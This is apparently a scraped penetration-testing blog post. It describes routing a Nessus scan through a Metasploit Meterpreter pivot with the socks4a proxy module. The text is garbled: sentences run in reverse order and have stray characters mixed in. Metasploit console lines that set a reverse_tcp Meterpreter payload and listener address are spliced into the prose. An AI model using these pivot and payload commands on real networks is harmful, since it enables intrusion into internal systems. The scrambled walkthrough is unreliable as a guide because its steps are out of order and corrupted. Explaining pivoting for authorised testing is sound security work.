Msf exploit(handler) > use auxiliary/server/socks4aĬheck the tunnel is working. Msf exploit(handler) > set lhost 192.168.0.2 Payload => windows/meterpreter/reverse_tcp Msf exploit(handler) > set payload windows/meterpreter/reverse_tcp + -=[ 215 payloads - 27 encoders - 8 nops There is no normal route from the 192 network into the 10 network, the router at 10.1.1.1 prevents metasploit $. The key seems to be that you need to be running at least Ruby 1.9 (I'm running 1.9.1) not 1.8.7 as I originally tried, withouth it the proxy seems to get congested and locks up.īelow is a walk through of the steps I went through to get the scan. After a bit of playing, some partially successful scans and more questions to the list I got a completed scan through a Meterpreter pivot. Once I thought about it and read Carlos's article New Nessus Plug-In For Metasploit I realised that the Nessus server was still running on the attacker machine and so didn't have access to the tunnel.Īfter asking a few questions on various mailing lists egypt pointed me at the auxiliary/server/socks4a module which would allow me to do the same as the SSH server but without having to install anything on the compromised machine. Without thinking it through my initial reaction was "Great I can now scan through a Meterpreter pivot". Recently Zate Berg added the Nessus plug-in to Metasploit to let you control a Nessus server from the Metasploit command line. It was a great idea but I don't like installing tools on clients machines if I can avoid it so never got round to doing it on a test. It involved installing an SSH server on the compromised machine and then using it as a SOCKS4 proxy to forward the scan traffic through to the target machine ( Nessus Scanning through a Metasploit Meterpreter Session). Earlier this year Mark Baggett wrote an article on running a Nessus scan through Meterpreter.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |